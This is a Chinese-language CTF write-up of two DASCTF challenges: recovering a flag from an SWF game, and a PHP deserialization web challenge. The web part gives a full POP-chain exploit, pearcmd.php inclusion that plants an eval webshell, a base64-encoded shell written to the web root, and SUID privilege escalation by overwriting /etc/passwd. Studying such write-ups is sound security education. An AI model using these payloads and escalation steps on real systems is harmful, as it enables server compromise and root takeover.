1、MISC-闯入魔塔的魔法少女
题目下载后发现是一个swf文件,这就是flash文件
用flash player打开之后发现是一个游戏
从网上搜到可以用JPEXS Free Flash Decompiler进行反编译,然后通过文本查找搜到关键字flag
然后将P-code资源全部内容复制出来发现flag
得到flag如下:
DASCTF{23dvkjzr3juboiavztbncaxftfpyq5gz}
2、WEB-FunnyP0P
得到题目源码如下:
<?php
error_reporting(0);
highlight_file(__FILE__);
class printStr{
public $Obj3;
public function ComeOn(){
var_dump("You are not master!");
}
public function __call($func,$arg){
echo 'You said :'.$func;
unset($this -> Obj3 -> name);
}
public function __invoke(){
echo "I wants two girlfriends";
}
}
class toStr{
public $Obj2;
public function ComeOn($name){
$this -> Obj2 -> $name();
}
public function __invoke(){
echo "I wants two girlfriends";
}
}
class Welcome{
public $yourName;
public $Obj1;
public function ComeOn(){
echo "Come On!".$this -> yourName;
}
public function __destruct(){
$this -> Obj1 -> ComeOn($this -> yourName);
}
}
class incFileEnd{
private $name;
public $key;
public function __unset($name){
echo $this -> name." ,You Are Excellent!";
}
public function __toString(){
if($array[++$this -> key] = 1 && !preg_match("/f*l*a*g|log|put|zilb|data|file/i", $_GET['file'])){
if($array[] = 1){
return "Failed...";
}else{
include($_GET['file']);
return "Win!";
}
}else{
return "Failed...";
}
}
}
$ctf = $_GET['exp'];
if(!preg_match('/name/i',$ctf)){ //16进制绕过
unserialize($ctf);
}else{
die('Hacker!');
}
首先构造pop链:
利用率如下:
Welcome __destruct函数
ToStr ComeOn函数
PrintStr __call函数
incFileEnd __unset
incFileEnd __toString
构造exp如下:
其中php 数组溢出
if($array[++$c]=1){
if($array[]=1){
echo "nonono";
}
else{
require_once 'flag.php';
echo $flag;
}
}
为了让这个执行结果失败,同时 a r r a y [ + + array[++ array[++c]=1需要这个成功,那么就需要复制之后到底数组边界,再次复制报错返回false
$array[]=1
此语句正常赋值时,返回结果一定是为 1 的,要想跳出这个判断语句,必须让它赋值出问题。
查阅资料后发现:
作为PHP最重要的数据类型HashTable其key值是有一定的范围的,如果设置的key值过大就会出现溢出的问题,临界点是
9223372036854775807
这个数字。
解决此题只需要给 $c 赋值 9223372036854775806
,那么就能跳出语句判断。
<?php
class printStr{
public $Obj3;
public function ComeOn(){
var_dump("You are not master!");
}
public function __call($func,$arg){
echo 'You said :'.$func;
unset($this -> Obj3 -> name);
}
public function __invoke(){
echo "I wants two girlfriends";
}
}
class toStr{
public $Obj2;
public function ComeOn($name){
$this -> Obj2 -> $name();
}
public function __invoke(){
echo "I wants two girlfriends";
}
}
class Welcome{
public $yourName;
public $Obj1;
public function ComeOn(){
echo "Come On!".$this -> yourName;
}
public function __destruct(){
$this -> Obj1 -> ComeOn($this -> yourName);
}
}
class incFileEnd{
private $name;
public $key;
public function __construct(){
$this->name = &$this;
$this->key = 9223372036854775806;
}
public function __unset($name){
echo $this -> name." ,You Are Excellent!";
}
public function __toString(){
var_dump($this->key);
if($array[++$this -> key] = 1){//
if($array[] = 1){
return "Failed...";
}else{
include($_GET['file']);
return "Win!";
}
}else{
return "Failed...";
}
}
}
$welcome = new Welcome;
$tostr = new toStr;
$printstr = new printStr;
$incfileend = new incFileEnd();
$welcome->Obj1 = $tostr;
$welcome->yourName = 'name';
$tostr->Obj2 = $printstr;
$printstr->Obj3 = $incfileend;
echo str_replace(chr(0),'%00',serialize($welcome));
#为了绕过name,将a用16进制表示,需要将小写s替换为大写S
#key的值需要为int,如果序列化表示d,需要修改为i,并将数值进行修改
/*O:7:"Welcome":2:{S:8:"yourN\61me";S:4:"n\61me";s:4:"Obj1";O:5:"toStr":1:{s:4:"Obj2";O:8:"printStr":1:{s:4:"Obj3";O:10:"incFileEnd":2:{S:16:"%00incFileEnd%00n\61me";r:5;s:3:"key";i:9223372036854775806;}}}}*/
payload1如下:
http://80.endpoint-561987c7b2614a92a212d80bd5449fa3.m.ins.cloud.dasctf.com:81/?exp=O:7:"Welcome":2:{S:8:"yourN\61me";S:4:"n\61me";s:4:"Obj1";O:5:"toStr":1:{s:4:"Obj2";O:8:"printStr":1:{s:4:"Obj3";O:10:"incFileEnd":2:{S:16:"%00incFileEnd%00n\61me";r:5;s:3:"key";i:9223372036854775806;}}}}&file=/etc/passwd
不过文件包含这个地方绕不过,暂时卡住了,后来发现可以通过pearcmd.php方式进行文件包含getshell,但是这个姿势需要以下条件
1.安装了pear扩展(pear就是一个php扩展及应用的代码仓库,没有安装pear扩展的话就没有pear.php文件可以
利用了)
2.知道pearcmd.php文件的路径(默认路径是/usr/local/lib/php/pearcmd.php)
3.开启了register_argc_argv选项(只有开启了,$_SERVER[‘argv’]才会生效。)
4.有包含点,并且能包含php后缀的文件,而且没有open_basedir的限制。
然后先测试以下是不是能够包含pearcmd.php
出现告警发现可以包含pearcmd.php,那么尝试通过pearcmd写入一个shell文件
网上的payload如下:
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/test.php
根据网上payload构造自己的payload,这里面有两个需要注意的地方,第一个是需要维持网上的这种结构,如果还需要添加其他参数,需要放到+/tmp/test.php这个目录前面去,如下面这样,同时还需要注意将url编码的<>
改回原样,防止写入的shell无法识别:
http://80.endpoint-561987c7b2614a92a212d80bd5449fa3.m.ins.cloud.dasctf.com:81/?+config-create+/&exp=O:7:"Welcome":2:{S:8:"yourN\61me";S:4:"n\61me";s:4:"Obj1";O:5:"toStr":1:{s:4:"Obj2";O:8:"printStr":1:{s:4:"Obj3";O:10:"incFileEnd":2:{S:16:"%00incFileEnd%00n\61me";r:5;s:3:"key";i:9223372036854775806;}}}}&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST[1]);?>+/tmp/zy.php
写入文件成功
进行文件包含利用webshell
然后通过命令执行在/var/www/html/下面写入shell方便后面的操作
http://80.endpoint-561987c7b2614a92a212d80bd5449fa3.m.ins.cloud.dasctf.com:81/?exp=O:7:"Welcome":2:{S:8:"yourN\61me";S:4:"n\61me";s:4:"Obj1";O:5:"toStr":1:{s:4:"Obj2";O:8:"printStr":1:{s:4:"Obj3";O:10:"incFileEnd":2:{S:16:"%00incFileEnd%00n\61me";r:5;s:3:"key";i:9223372036854775806;}}}}&file=/tmp/zy1.php
POST:
1=system("echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==|base64 -d>/var/www/html/shell1.php");
写入shell成功,并可以执行,然后通过蚁剑进行连接
然后发现根目录的flag文件需要root权限才可以读取,然后就行提权的问题,
find / -perm -u+s -type f 2>/dev/null
然后发现cp和su都具备suid提取问题,第一种方案可以通过cp将/etc/passwd
进行覆盖,然后通过su切换到root账户
通过opnessl生成密码,openssl passwd -1 -salt hack pass123
然后将/etc/passwd copy出来并下载到本地,在最后一行添加一个hack账户,然后构造出一个hack的root用户,然后就可以su登录上去了。
还有一种将文件拷贝到标准输出流中,就可以在屏幕中看到flag
执行命令cp /flag /dev/stdout